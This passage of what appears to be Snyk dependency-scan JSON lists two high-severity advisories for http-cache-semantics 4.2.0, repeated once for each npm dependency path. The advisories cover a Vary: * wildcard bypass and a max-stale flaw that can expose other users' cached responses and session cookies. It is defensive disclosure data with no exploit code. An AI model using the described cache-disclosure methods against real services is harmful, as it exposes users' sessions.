that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n", "epssDetails": { "percentile": "0.35961", "probability": "0.00445", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93750" ], "CWE": [ "CWE-346" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:38:34.112334Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:47Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:38:34.322549Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T16:08:12.818370Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964068", "title": "Improper Authorization", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/56", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441", "title": "Vulnerable Code" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n", "epssDetails": { "percentile": "0.45545", "probability": "0.00569", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93748" ], "CWE": [ "CWE-285" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:43:34.353521Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:53Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:43:34.521384Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T15:58:47.938684Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964064", "title": "Origin Validation Error", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/57", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n", "epssDetails": { "percentile": "0.35961", "probability": "0.00445", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93750" ], "CWE": [ "CWE-346" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:38:34.112334Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:47Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:38:34.322549Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T16:08:12.818370Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964068", "title": "Improper Authorization", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/56", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441", "title": "Vulnerable Code" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n", "epssDetails": { "percentile": "0.45545", "probability": "0.00569", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93748" ], "CWE": [ "CWE-285" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:43:34.353521Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:53Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:43:34.521384Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T15:58:47.938684Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964064", "title": "Origin Validation Error", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/57", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n", "epssDetails": { "percentile": "0.35961", "probability": "0.00445", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93750" ], "CWE": [ "CWE-346" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:38:34.112334Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:47Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:38:34.322549Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T16:08:12.818370Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964068", "title": "Improper Authorization", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/56", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441", "title": "Vulnerable Code" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n", "epssDetails": { "percentile": "0.45545", "probability": "0.00569", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93748" ], "CWE": [ "CWE-285" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:43:34.353521Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:53Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:43:34.521384Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T15:58:47.938684Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964064", "title": "Origin Validation Error", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/57", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n", "epssDetails": { "percentile": "0.35961", "probability": "0.00445", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93750" ], "CWE": [ "CWE-346" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:38:34.112334Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:47Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:38:34.322549Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T16:08:12.818370Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964068", "title": "Improper Authorization", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/56", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441", "title": "Vulnerable Code" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "high", 